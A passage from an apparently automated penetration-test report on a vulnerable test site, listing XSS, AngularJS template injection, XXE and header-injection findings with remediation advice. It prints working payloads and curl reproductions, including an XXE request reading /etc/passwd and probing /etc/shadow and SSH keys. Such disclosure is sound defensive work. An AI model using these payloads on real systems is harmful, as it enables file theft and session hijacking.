This is a reflected XSS via AngularJS template injection requiring user interaction (clicking a crafted link or submitting a form). It allows arbitrary JavaScript execution in the victim's browser context, enabling session hijacking and data theft. Rated high due to no authentication requirement and full script execution, though user interaction is needed.

DISCOVERY & EXPLOITATION

The `lastName` parameter at the `/contact` endpoint is reflected into the server-rendered HTML response without sanitization or output encoding, and the page is bootstrapped as an AngularJS application (`data-ng-app="itemsApp"`). Because the application runs AngularJS 1.0.6, a version that predates the expression sandbox entirely, any AngularJS template expression embedded in the reflected value is evaluated by the framework's `$compile` and `$parse` pipeline on page load. The injection context is therefore not a conventional HTML sink but the AngularJS template compiler itself: the attacker's input is treated as trusted template markup, and arithmetic or function-call expressions within double curly braces execute as JavaScript in the victim's browser.

Browser-based validation confirmed execution: a POST submission carrying a template expression in `lastName` caused the AngularJS runtime to evaluate the expression and set a controlled value on `window.xss_test` , while an identical request with a benign `lastName` value left the variable undefined. An unauthenticated attacker distributes a crafted link or form that auto-submits to `/contact` with a malicious `lastName` payload, replacing the arithmetic proof-of-concept with a script that exfiltrates the victim's session cookie or performs authenticated actions on their behalf. Unlike sibling reflected XSS vulnerabilities that operate through standard HTML injection, this vector bypasses naive HTML-escaping controls because the payload is syntactically valid text that the AngularJS compiler, not the HTML parser, interprets as executable code.

IMPACT ANALYSIS

The contact endpoint is publicly accessible without authentication, meaning any visitor to the application is a viable target. A successful exploitation delivers arbitrary JavaScript execution in the victim's browser session, enabling session token theft, credential harvesting via injected forms, or forced authenticated actions against the application on the victim's behalf. Because the application stores session identity in an unprotected cookie (identified separately in this assessment), a stolen session token grants the attacker full account access without requiring the victim's password. The contact form is a natural social-engineering surface: a phishing message directing a user to submit their details through a crafted link is a low-friction delivery mechanism that requires no technical sophistication from the attacker. The AngularJS template injection vector is particularly resistant to server-side output encoding mitigations applied in isolation, as the payload survives HTML escaping and is only interpreted at the client-side compilation stage, meaning a partial fix that encodes HTML special characters without also removing the AngularJS application context leaves the endpoint exploitable.

REMEDIATION

1. Sanitize and HTML-encode all user-supplied input (including `lastName`) before reflecting it in the response HTML at the `/contact` endpoint. Use server-side escaping such as Jinja2's `|e` filter or `markupsafe.escape()`.
2. Upgrade AngularJS from the obsolete 1.0.6 to a modern version (1.6+) that includes a sandbox and strict contextual escaping (SCE) by default, or migrate to Angular (2+).
3. Remove `ng-bind-html-unsafe` usage and replace with `ng-bind` or `ng-bind-html` with `$sanitize` to prevent template expression evaluation of untrusted content.
4. Implement a Content-Security-Policy header that disallows `unsafe-eval` and `unsafe-inline` to mitigate client-side template injection even if output encoding is bypassed.
5. Long-term, adopt a templating framework with auto-escaping enabled by default and add CI linting rules to flag unescaped output in templates.

INV-13

Reflected XSS via `username` Cookie Rendered Unescaped in Navigation Bar

HIGH

SEVERITY	CATEGORY	CWE
High	Injection	CWE-79

ENDPOINT
http://python.testinvicti.com/login

PARAMETER	CVSS 4.0
username	5.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

EVIDENCE

Payload used:

```
<script>window.xss_test=60154070</script>
```

Observed:

Browser confirmed: iframe loaded http://python.testinvicti.com/ with cookie username="<script>window.xss_test=60154070</script>" set after login POST. iframe.contentWindow.xss_test === 60154070. Response snippet: Welcome <script>window.xss_test=60154070</script> | Logout

HTTP TRANSACTION

REQUEST

```
POST /login HTTP/1.1
Host: python.testinvicti.com
Content-Type: application/x-www-form-urlencoded

username=%3Cscript%3Ewindow.xss_test%3D60154070%3C%2Fscript%3E&password=u%5DH%5Bww6KrA9F.x-F

Response sets cookie: username="<script>window.xss_test=60154070</script>"
Redirects to http://python.testinvicti.com/
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

[... truncated ...]
<p class="navbar-text pull-right">
   Welcome <b><script>window.xss_test=60154070</script></b> | <a href='/logout'>Logout</a>
</p>
[... truncated ...]
```

STEPS TO REPRODUCE

1. Send a POST request to the login endpoint with a script payload in the username field:

```
curl -i -X POST http://python.testinvicti.com/login \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d
'username=%3Cscript%3Ewindow.xss_test%3D60154070%3C%2Fscript%3E&password=u%5DH%5Bww6K
rA9F.x-F'
```

   The server responds with a Set-Cookie header containing the unescaped script tag: username="<script>window.xss_test=60154070</script>".

2. Follow the redirect to the root page (/) with the poisoned cookie:

```
curl -i http://python.testinvicti.com/ \
  -H 'Cookie: username="<script>window.xss_test=60154070</script>"'
```

   The response HTML contains the unescaped payload: Welcome <script>window.xss_test=60154070</script>.

3. Open a browser, navigate to http://python.testinvicti.com/login, submit the form with username <script>window.xss_test=60154070</script> and any password. After redirect, open the browser console and verify window.xss_test === 60154070 confirming JavaScript execution.

4. As a baseline, log in with a normal username (e.g., admin) and confirm window.xss_test is undefined, proving the script execution is caused by the injected payload.

SEVERITY JUSTIFICATION

This is a reflected XSS requiring user interaction (clicking a crafted link or submitting a form) but with no privileges required. It allows arbitrary JavaScript execution in the victim's browser context, enabling session hijacking and data theft. The high confidence from automated validation and clear script execution justify a High severity.

DISCOVERY & EXPLOITATION

The XSS agent identified that the application stores the submitted `username` value directly into a cookie at the `/login` endpoint and subsequently renders that cookie value unescaped into the navigation bar template on every authenticated page. Because Jinja2 auto-escaping is not enabled and no `| e` filter is applied to the template variable, any HTML or JavaScript injected as the username is written verbatim into the DOM on the next page load. Automated validation confirmed execution: a payload submitted as the username set `window.xss_test=60154070` in the browser context, while a baseline request with a benign username produced no execution, isolating the vulnerability to the unescaped cookie rendering path.

What distinguishes this vector from sibling XSS vulnerabilities is its persistence across the authenticated session. Once a victim authenticates with a crafted username, the malicious payload is re-executed on every page that renders the navigation bar, without requiring repeated interaction. An attacker who can direct a victim to submit a login form with a controlled username, whether through a pre-filled phishing page or a CSRF-assisted form submission, achieves persistent in-session script

execution. The injected script runs with the victim's session context, enabling credential harvesting, session token exfiltration, or silent account takeover across the entire authenticated surface of the application.

IMPACT ANALYSIS

The cookie-based injection context creates a compounding exposure relative to other reflected XSS vulnerabilities in this assessment. Because the payload is stored in the `username` cookie and re-rendered on every page load, a single successful login with a crafted username produces repeated script execution throughout the victim's session, not just at the moment of initial injection. The absence of the `HttpOnly` flag on the cookie means the cookie itself is also accessible to injected JavaScript, allowing an attacker to exfiltrate the session identifier directly alongside any other harvested data. Combined with the application's lack of TLS, session tokens and injected payloads transit the network in cleartext, meaning a network-positioned attacker can both intercept credentials and deliver this attack without requiring any victim interaction beyond a standard login. The breadth of the authenticated surface affected, every page rendering the navigation bar, amplifies the window of exposure compared to single-endpoint XSS vulnerabilities elsewhere in the application.

REMEDIATION

1. HTML-encode the `username` cookie value before rendering it in the navigation bar template. Use Flask's `Markup.escape()` or Jinja2's `{{ username | e }}` auto-escaping to prevent script injection.
2. Set the `HttpOnly` flag on the `username` cookie to prevent client-side script access, and add the `Secure` flag if served over HTTPS.
3. Validate and sanitize the `username` parameter on the `/login` POST endpoint, rejecting or stripping HTML special characters (`<` , `>` , `"` , `'` , `&`) before storing in the cookie.
4. Enable Jinja2 auto-escaping globally (`autoescape=True`) so all template variables are escaped by default.
5. Long-term: integrate a Content Security Policy (CSP) header that disallows inline scripts, providing defense-in-depth against XSS.

INV-14

XML External Entity (XXE) Injection via XML Body in Password Reset Endpoint

HIGH

SEVERITY	CATEGORY	CWE
High	Injection	CWE-611

ENDPOINT
http://python.testinvicti.com/forgotpw

PARAMETER	CVSS 4.0
username (XML body)	9.2 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

EVIDENCE

Payload used:

<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><forgot><username>&xxe;</username></forgot>

Observed:

Differential response proves XXE entity resolution: (1) Literal username 'testuser' response 'testuser'; (2) Entity referencing non-existent file response 'unknown'; (3) Entity referencing existing file /etc/passwd response is newline (file content inserted). DOCTYPE without entity reference returns literal text, confirming entity processing. File existence oracle confirmed: /etc/passwd EXISTS, /etc/shadow EXISTS, /root/.ssh/id_rsa NOT FOUND. HTTP entity (SSRF) causes 502 Bad Gateway proving server-side request.

HTTP TRANSACTION

REQUEST

```
POST /forgotpw HTTP/1.1
Host: python.testinvicti.com
Content-Type: text/xml

<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><forgot><username>&xxe;</username></forgot>

--- Control request (entity not referenced) ---
POST /forgotpw HTTP/1.1
Host: python.testinvicti.com
Content-Type: text/xml

<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><forgot>
<username>LITERAL</username></forgot>
```

RESPONSE

```
XXE payload response (file:///etc/passwd):
HTTP/1.1 200 OK
```

```
Server: nginx/1.14.0 (Ubuntu)
Content-Type: text/html; charset=utf-8
Content-Length: 1

\n

--- Non-existent file response ---
HTTP/1.1 200 OK
Content-Length: 7

unknown

--- Control (no entity ref) response ---
HTTP/1.1 200 OK
Content-Length: 12

MhHiKsnafZGC
```

STEPS TO REPRODUCE

1. Send a POST request with a valid XML body to establish a baseline:

   ```
   curl -s -X POST -H 'Content-Type: text/xml' -d '<?xml version="1.0"?><forgot>
   <username>testuser</username></forgot>' http://python.testinvicti.com/forgotpw
   ```

   Expected: The server echoes back testuser, confirming it parses and reflects the XML username element.

2. Send the XXE payload referencing an existing file (/etc/passwd):

   ```
   curl -s -X POST -H 'Content-Type: text/xml' -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM
   "file:///etc/passwd">]><forgot><username>&xxe;</username></forgot>'
   http://python.testinvicti.com/forgotpw
   ```

   Expected: The response body is a newline character (Content-Length: 1) — the entity was resolved and file content was inserted. The response does NOT contain unknown or literal text.

3. Send the same DOCTYPE but do NOT reference the entity in the username element:

   ```
   curl -s -X POST -H 'Content-Type: text/xml' -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM
   "file:///etc/passwd">]><forgot><username>MhHiKsnafZGC</username></forgot>'
   http://python.testinvicti.com/forgotpw
   ```

   Expected: The server returns the literal string MhHiKsnafZGC, proving that entity *reference* triggers resolution.

4. Send an XXE payload referencing a non-existent file to confirm the file existence oracle:

   ```
   curl -s -X POST -H 'Content-Type: text/xml' -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM
   "file:///nonexistent_file_xyz">]><forgot><username>&xxe;</username></forgot>'
   http://python.testinvicti.com/forgotpw
   ```

Expected: The server returns unknown (Content-Length: 7), confirming differential behavior based on file existence.

SEVERITY JUSTIFICATION

The XXE vulnerability allows unauthenticated remote attackers to read arbitrary server files (e.g., /etc/passwd, /etc/shadow) and perform SSRF, with no user interaction or special privileges required. Confidentiality impact is high for both the vulnerable and subsequent systems, though integrity and availability are not directly affected.

DISCOVERY & EXPLOITATION

The password reset endpoint at `/forgotpw` accepts a raw XML body and passes it directly to an XML parser that has external entity resolution enabled. Because the parser processes `DOCTYPE` declarations and resolves `ENTITY` references before the application logic executes, an attacker can define an external entity pointing to any file path on the server filesystem and reference it within the XML payload. The server then reads the target file and substitutes its contents into the document, which the application reflects back in the HTTP response body.

Validation confirmed the vulnerability through differential response analysis: submitting an entity referencing an existing file produced a response containing the file's contents (a newline, consistent with a single-line file), submitting an entity referencing a non-existent path returned the string `unknown`, and submitting a `DOCTYPE` block with an unreferenced entity returned the literal random string unchanged. This three-way oracle conclusively proves server-side entity resolution. An unauthenticated attacker exploiting this vulnerability would replace the proof-of-concept file reference with high-value targets such as `/etc/passwd`, `/etc/shadow`, application configuration files containing database credentials, or private key material. The same mechanism supports server-side request forgery: by pointing the external entity at an internal `http://` URI, the attacker can probe and interact with services unreachable from the public internet, including the internal CouchDB instance identified on port 5984 during this assessment.

IMPACT ANALYSIS

This vulnerability is exploitable by any unauthenticated user on the internet, requiring no credentials, no session, and no user interaction. The immediate consequence is arbitrary file read from the server filesystem, bounded only by the operating system permissions of the application process. Sensitive targets include credential files, private keys, and application secrets that would provide direct pathways to further compromise of the server and connected systems. The SSRF capability extends the blast radius beyond the host itself: by directing the XML parser at internal network addresses, an attacker can enumerate and interact with backend services that are not exposed externally, including the CouchDB database identified during this assessment, potentially enabling unauthorized data access or administrative operations against that service. Under GDPR and PCI-DSS, unauthorized access to credential stores and internal data services constitutes a reportable breach event, carrying regulatory notification obligations and potential financial penalties in addition to the direct operational and reputational damage.

REMEDIATION

1. Disable external entity processing in the XML parser used by the `/forgotpw` endpoint. For Python's `lxml`, use `etree.XMLParser(resolve_entities=False, no_network=True)`. For `xml.etree.ElementTree`, switch to `defusedxml.ElementTree`.
2. Reject requests containing `<!DOCTYPE` or `<!ENTITY` declarations by validating the raw XML body before parsing, or set `disallow_doctype=True` on the parser.
3. Switch the `/forgotpw` endpoint to accept JSON (`application/json`) instead of raw XML, eliminating the XXE attack surface entirely.
4. Apply least-privilege file system permissions to the application process so that even if XXE occurs, sensitive files like `/etc/shadow` cannot be read.
5. Long-term: adopt `defusedxml` library across all Python XML parsing and add a CI linting rule to flag use of unsafe XML parsers.

INV-15

Client-Side Template Injection XSS via Outdated AngularJS 1.0.6

MEDIUM

SEVERITY	CATEGORY	CWE
Medium	Cross-Site Scripting (XSS)	CWE-79

ENDPOINT
http://python.testinvicti.com/

CVSS 4.0
2.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

EVIDENCE

Observed:

```
angularjs v1.0.6-1.0.6
```

STEPS TO REPRODUCE

1. Navigate to http://python.testinvicti.com/ in a browser and view the page source or inspect network responses to identify the AngularJS library version included on the page.
2. Confirm the version string angularjs v1.0.6 is present in the served JavaScript file or in response headers/comments. This version is known to be vulnerable to multiple XSS vectors via AngularJS sandbox escapes.
3. Attempt a client-side template injection by injecting an AngularJS expression such as {{constructor.constructor('alert(1)')()}} into any user-controllable input that is rendered within an ng-app scope. In AngularJS 1.0.6, the sandbox is either absent or trivially bypassed, allowing arbitrary JavaScript execution.

SEVERITY JUSTIFICATION

The outdated AngularJS 1.0.6 library is known to have sandbox bypass vulnerabilities enabling XSS, but exploitation requires user interaction and a context where attacker-controlled input reaches an AngularJS template expression, resulting in medium severity.

DISCOVERY & EXPLOITATION

The DAST agent identified AngularJS version 1.0.6 loaded in the application's response. This version predates the introduction of meaningful sandbox protections in the AngularJS framework and is publicly documented as vulnerable to client-side template injection: when user-controlled input reaches an AngularJS template expression, the framework evaluates it as executable JavaScript rather than treating it as inert text. The absence of a functional sandbox means there is no barrier between attacker-supplied template syntax and the JavaScript execution context of the victim's browser.

An attacker who can influence content rendered within an AngularJS-bound scope — through a reflected parameter, a stored value, or a URL fragment processed client-side — can inject template expressions that execute arbitrary JavaScript in the victim's browser session. This enables session

token theft, credential harvesting via injected forms, forced navigation to attacker-controlled infrastructure, or silent exfiltration of page content. Because the application also lacks a Content Security Policy, no browser-enforced control exists to block the execution of injected scripts.

IMPACT ANALYSIS

Successful exploitation allows an attacker to execute arbitrary JavaScript in the security context of any user who loads a page containing the injected template expression. In practice, this means session cookies can be stolen and replayed to hijack authenticated sessions — a consequence compounded by the application's use of unprotected, unsigned cookies identified elsewhere in this assessment. The absence of TLS across the entire application further widens the exposure: a network-positioned attacker can intercept and modify responses in transit to inject template payloads without any server-side vulnerability at all. For an application handling user credentials and account data, browser-level code execution carries direct risk of account takeover at scale. Regulatory frameworks including GDPR treat unauthorized access to user account data as a reportable breach event, and a client-side template injection vector that enables mass session hijacking satisfies that threshold.

REMEDIATION

1. Upgrade AngularJS to the latest stable version (1.8.x or later), or migrate to a modern framework such as Angular 2+ which does not use client-side template compilation in the same vulnerable manner.
2. If upgrading is not immediately possible, implement a Content Security Policy (CSP) header that restricts `unsafe-eval` and `unsafe-inline` to mitigate template injection attacks.
3. Sanitize all user-controlled input that is rendered within AngularJS templates using `$sce.trustAsHtml()` only after proper sanitization with `ngSanitize`.
4. Remove any unused AngularJS script references from the application to reduce the attack surface.
5. Integrate Software Composition Analysis (SCA) tooling into your CI/CD pipeline to detect outdated or vulnerable JavaScript libraries before deployment.

INV-16

Outdated AngularJS Version with Known Sandbox Escape and XSS Vulnerabilities

MEDIUM

SEVERITY	CATEGORY	CWE
Medium	Vulnerable and Outdated Components	CWE-1104

ENDPOINT
http://python.testinvicti.com/

CVSS 4.0
2.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

EVIDENCE

Observed:

```
angularjs v1.0.6-1.0.6
```

STEPS TO REPRODUCE

1. Navigate to http://python.testinvicti.com/ in a browser and open the page source or Developer Tools (Network tab).
2. Identify the AngularJS library inclusion. The response contains evidence of angularjs v1.0.6 being loaded, confirming the outdated version.
3. Cross-reference AngularJS 1.0.6 against known CVEs (e.g., CVE-2020-7676, CVE-2019-14863, sandbox escape vulnerabilities) to confirm exploitable issues exist in this version.

SEVERITY JUSTIFICATION

AngularJS 1.0.6 is severely outdated and contains multiple known vulnerabilities including template sandbox escapes that enable XSS. Exploitation requires user interaction and specific application conditions (user input in templates), justifying a medium severity.

DISCOVERY & EXPLOITATION

The DAST agent identified AngularJS version 1.0.6 loaded from the application's root endpoint by inspecting response content for version strings embedded in the library source. AngularJS 1.0.6 predates the introduction of the AngularJS sandbox by several minor releases and lacks the security patches accumulated across the 1.x lifecycle, including fixes for multiple documented sandbox escape techniques and XSS bypass vectors. The version is well outside any supported maintenance window and carries no upstream security support.

An attacker targeting this component does not need to discover a novel technique: public sandbox escape payloads for early AngularJS 1.x releases are widely documented and require only that user-controlled input reaches a template expression or an unsafe binding directive. Given that the assessment separately confirmed user input flows into `ng-bind-html-unsafe` sinks elsewhere in the application, the outdated framework version removes the last layer of framework-level defense that a

patched release might otherwise provide, directly amplifying the exploitability of those injection points.

IMPACT ANALYSIS

The presence of AngularJS 1.0.6 represents a systemic weakening of the client-side security boundary rather than a single exploitable endpoint. Because the framework version affects every page and template rendered by the application, any future or currently undetected instance of user-controlled input reaching a template expression inherits the full set of unpatched CVEs without additional attacker effort. For the business, this translates to a persistent, latent XSS exposure that cannot be fully remediated through input sanitization alone as long as the vulnerable framework remains in place. From a software supply chain and compliance perspective, deploying a component with documented, unpatched vulnerabilities in a production environment conflicts with secure development requirements under frameworks such as PCI-DSS Requirement 6 and OWASP SAMM, and would be flagged as a control deficiency in any formal audit. The risk is compounded by the absence of a Content Security Policy, which would otherwise constrain the damage achievable through a successful template injection or XSS exploit on this framework version.

REMEDIATION

1. Upgrade AngularJS to the latest supported version (1.8.x) or migrate to Angular (2+), as AngularJS 1.0.6 contains multiple known vulnerabilities including XSS bypasses and sandbox escapes.
2. If immediate upgrade is not possible, implement a Content Security Policy (CSP) header that restricts inline script execution to mitigate client-side injection risks.
3. Review all templates and expressions used with AngularJS to ensure no user-controlled input flows into `ng-bind-html`, `$sce.trustAsHtml()`, or template interpolation without sanitization.
4. Remove any unused AngularJS modules or directives that expand the attack surface.
5. Integrate Software Composition Analysis (SCA) tooling (e.g., Snyk, Dependabot) into CI/CD to detect outdated front-end libraries before deployment.

INV-17

Missing HttpOnly, Secure, and SameSite Flags on Session Cookie at Login Endpoint

MEDIUM

SEVERITY	CATEGORY	CWE
Medium	Security Misconfiguration	CWE-614

ENDPOINT
http://python.testinvicti.com/login

PARAMETER
Set-Cookie: username

CVSS 4.0
2.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

EVIDENCE

Payload used:

POST /login with username=admin&password=secret

Observed:

The /login endpoint sets a cookie 'username=admin; Path=/' without HttpOnly, Secure, or SameSite flags. The Set-Cookie header is: 'username=admin; Path=/'. Missing HttpOnly allows JavaScript access (XSS can steal the cookie). Missing Secure allows transmission over unencrypted HTTP. Missing SameSite allows cross-site request attachment.

HTTP TRANSACTION

REQUEST

```
POST /login HTTP/1.1
Host: python.testinvicti.com
Content-Type: application/x-www-form-urlencoded

username=admin&password=secret
```

RESPONSE

```
HTTP/1.1 302 FOUND
Server: nginx/1.14.0 (Ubuntu)
Location: http://python.testinvicti.com/
Set-Cookie: username=admin; Path=/
Content-Type: text/html; charset=utf-8
Content-Length: 267
```

STEPS TO REPRODUCE

1. Send a POST request to the login endpoint:

```
curl -s -D - -o /dev/null -X POST -d 'username=admin&password=secret' http://python.testinvicti.com/login
```

The response includes Set-Cookie: username=admin; Path=/ confirming the cookie is set.

2. Verify the cookie lacks the HttpOnly flag by inspecting the Set-Cookie header in the response — it contains only username=admin; Path=/ with no HttpOnly, Secure, or SameSite directives.

3. Confirm JavaScript access is possible by loading the application in a browser after login and executing document.cookie in the console — the username cookie value is readable, demonstrating the XSS-to-cookie-theft attack path.

SEVERITY JUSTIFICATION

Missing cookie security flags enable session hijacking when combined with XSS (confirmed present on this application) or network interception. The attack requires user interaction (visiting a malicious page or XSS trigger), but the application is already known to be vulnerable to XSS, making exploitation realistic.

DISCOVERY & EXPLOITATION

The login endpoint at `/login` issues a `Set-Cookie` header that assigns the raw username value directly to a cookie named `username`, with no `HttpOnly`, `Secure`, or `SameSite` attributes present. Validation confirmed the response header reads `Set-Cookie: username=admin; Path=/` — nothing more. The absence of `HttpOnly` exposes the cookie to JavaScript access, the absence of `Secure` permits transmission over unencrypted HTTP connections, and the absence of `SameSite` leaves the cookie eligible for cross-site request inclusion.

Each missing flag represents an independent exploitation path, and this application presents all 3 simultaneously. The confirmed reflected and DOM-based XSS vulnerabilities elsewhere in the application provide a ready mechanism for cookie theft: an attacker who delivers an XSS payload can read `document.cookie` and exfiltrate the `username` value to an attacker-controlled server, achieving full session impersonation without any network positioning. The absence of the `Secure` flag compounds this further — because the application is served entirely over HTTP with no TLS, the cookie transits the network in cleartext on every request, making passive interception by any network-adjacent attacker (on shared Wi-Fi, a compromised router, or a malicious proxy) equally viable. The cookie also stores the raw username rather than an opaque session token, meaning the intercepted value directly identifies the account and requires no further decoding.

IMPACT ANALYSIS

Successful exploitation grants an attacker a valid authenticated session, allowing them to act as the compromised user across the entire application. Because the cookie stores the plaintext username rather than a signed, opaque token, there is no server-side mechanism to detect or invalidate a stolen credential — the attacker's session is indistinguishable from a legitimate one. Combined with the confirmed XSS surface and the application's complete absence of TLS, the practical barrier to session theft is low: exploitation requires only that a target user visit a page containing an injected script, or that network traffic be observed in transit. For any user whose session is hijacked, all actions available to that account — including access to administrative functions if the account holds elevated privileges — become available to the attacker. Under GDPR and similar data protection frameworks, unauthorized access to user accounts constitutes a personal data breach, carrying mandatory notification obligations and potential regulatory liability.

REMEDIATION

1. Update the Flask `Set-Cookie` response for the `username` cookie to include `HttpOnly`, `Secure`, and `SameSite=Lax` (or `Strict`) attributes, e.g. `response.set_cookie('username', value, httponly=True, secure=True, samesite='Lax')`.
2. If using Flask's session mechanism, configure `SESSION_COOKIE_HTTPONLY = True`, `SESSION_COOKIE_SECURE = True`, and `SESSION_COOKIE_SAMESITE = 'Lax'` in the application config.
3. Avoid storing the raw username in a cookie for authentication — use a signed session token instead (e.g., Flask's `session` object with `SECRET_KEY`).
4. Enforce HTTPS site-wide via nginx `return 301 https://...` so the `Secure` flag is meaningful.
5. Long-term: add a CI linter or integration test that asserts all `Set-Cookie` headers include security flags before deployment.

INV-18

Reflected XSS via `username` Cookie Rendered Unescaped in HTML

MEDIUM

SEVERITY	CATEGORY	CWE
Medium	Injection	CWE-79

ENDPOINT
http://python.testinvicti.com/

PARAMETER	CVSS 4.0
username	2.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

EVIDENCE

Observed:

Cookie input username was set to admin<script>MnLC(9328)</script>

The input is reflected inside a text element.

HTTP TRANSACTION

REQUEST

```
GET / HTTP/1.1
Host: python.testinvicti.com
Cookie: username=admin<script>MnLC(9328)</script>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/149.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: Keep-alive
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Content-Type: text/html; charset=utf-8
Access-Control-Allow-Origin: *

[... truncated ...]

        <p class="navbar-text pull-right">

          Welcome <b>admin<script>MnLC(9328)</script></b> | <a href='/logout'>Logout</a>

        </p>

[... truncated ...]
```

STEPS TO REPRODUCE

1. Set the username cookie to an XSS payload and send a GET request to the application root:

```
curl -v -H "Cookie: username=admin<script>alert(1)</script>" http://python.testinvicti.com/
```

The server responds with HTTP 200 and the payload is reflected unescaped in the HTML body.

2. Inspect the response body for the injected script tag. Look for the navbar section containing:

```
Welcome <b>admin<script>alert(1)</script></b> | <a href='/logout'>Logout</a>
```

This confirms the cookie value is rendered without HTML encoding, allowing arbitrary JavaScript execution in the user's browser.

SEVERITY JUSTIFICATION

This is a reflected XSS requiring the attacker to set a cookie value in the victim's browser (e.g., via a subdomain or CRLF injection), which adds attack complexity. However, once triggered, it allows arbitrary script execution in the victim's session context, impacting confidentiality and integrity of the subsequent system (user's browser).

DISCOVERY & EXPLOITATION

The DAST agent identified that the application reads the `username` cookie value and renders it directly into the HTML response body inside a `<b>` element, without applying HTML entity encoding or any output sanitization. Because the server-side template emits the raw cookie value into the document, an attacker-controlled string containing HTML or script syntax is written into the DOM verbatim. The agent confirmed exploitation by injecting a `<script>` tag as the cookie value and observing it appear unencoded in the rendered response, validating that the browser would execute the payload.

Weaponizing this vulnerability requires an attacker to control the `username` cookie in the victim's browser. This precondition can be satisfied through a subdomain cookie-injection attack, a CRLF injection vulnerability elsewhere in the application, or by exploiting the absence of the `SameSite` and `HttpOnly` cookie attributes. Once the cookie is set, any page load against the application root triggers script execution in the victim's session context. An unauthenticated attacker would substitute the proof-of-concept payload with credential-harvesting or session-hijacking JavaScript, redirecting the victim's session token to an attacker-controlled endpoint.

IMPACT ANALYSIS

Successful exploitation allows arbitrary JavaScript to execute within the victim's browser under the application's origin, granting access to session cookies, local storage, and any data rendered on the page. Given that the application transmits session tokens over unencrypted HTTP with no `HttpOnly` protection, a combined attack chain, cookie injection to trigger XSS followed by token exfiltration, results in full account takeover without requiring any authenticated access. For end users, this translates to unauthorized actions performed on their behalf, exposure of personal data, and potential credential theft if the application surfaces sensitive information post-login. From a compliance perspective, exploitation that results in unauthorized access to user data carries obligations under GDPR Article 33 for breach notification, and may constitute a control failure under PCI-DSS

Requirement 6.4 if payment-related sessions are in scope. The absence of a Content Security Policy across the application means no compensating control exists to limit the blast radius of script execution.

REMEDIATION

1. On the server-side template that renders the `username` cookie value into the navbar (e.g., `Welcome <b>{{ username }}</b>`), apply HTML entity encoding before output using Flask's `Markup.escape()` or Jinja2 auto-escaping (`{{ username | e }}`).
2. Ensure Jinja2 auto-escaping is enabled globally in the Flask app configuration (`app.jinja_env.autoescape = True`) so all template variables are escaped by default.
3. Set the `HttpOnly` flag on the `username` cookie to prevent client-side script access, and consider adding a `SameSite=Strict` attribute to limit cross-origin cookie injection.
4. Implement a Content Security Policy (CSP) header that disallows inline scripts (`script-src 'self'`) to mitigate XSS impact even if encoding is bypassed.
5. Long-term, adopt a templating framework with strict contextual auto-escaping and integrate automated XSS scanning in CI/CD pipelines.

INV-19

Host Header Injection via X-Forwarded-Host in Link Tag Resource URL

MEDIUM

SEVERITY
Medium

CATEGORY
Security Misconfiguration

CWE
CWE-644

ENDPOINT
http://python.testinvicti.com/like

CVSS 4.0
5.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N

EVIDENCE

Observed:

Host header evilhostTsOZW6pR.com was reflected inside an LINK tag (src attribute).

HTTP TRANSACTION

REQUEST

```
GET /like HTTP/1.1
Host: python.testinvicti.com
X-Forwarded-Host: evilhostTsOZW6pR.com
Cookie: username=admin
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/149.0.0.0 Safari/537.36
Connection: Keep-alive
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Content-Type: text/html; charset=utf-8

[... truncated ...]

            Thank you very much for your feedback! <!-- invalid -->
<link src='http://evilhostTsOZW6pR.com/link'>

[... truncated ...]
```

STEPS TO REPRODUCE

1. Send a GET request to the /like endpoint with a spoofed X-Forwarded-Host header:

```
curl -i -H "Host: python.testinvicti.com" -H "X-Forwarded-Host: evilhost.com" -H "Cookie: username=admin"
```

```
http://python.testinvicti.com/like
```

The server responds with HTTP 200.

2. Inspect the HTML response body for the injected host value. Look for a <link> tag whose src attribute contains the attacker-controlled domain:

```
<link src='http://evilhost.com/link'>
```

This confirms the X-Forwarded-Host header value is reflected unsanitized into the page markup, enabling cache poisoning or phishing attacks.

SEVERITY JUSTIFICATION

The vulnerability allows an attacker to inject arbitrary domains into page resource links via the X-Forwarded-Host header. Exploitation requires user interaction (victim must visit the poisoned page) and impacts integrity by potentially loading attacker-controlled resources, but does not directly compromise confidentiality or availability.

DISCOVERY & EXPLOITATION

The DAST agent submitted requests to the `/like` endpoint with a crafted `X-Forwarded-Host` header containing an attacker-controlled domain. The application trusts this header without validation and incorporates its value directly into a `<link src="...">` tag in the rendered HTML response. The injected domain was reflected verbatim, confirming that the application uses the `X-Forwarded-Host` value to construct resource URLs rather than relying on a hardcoded or configuration-derived canonical origin.

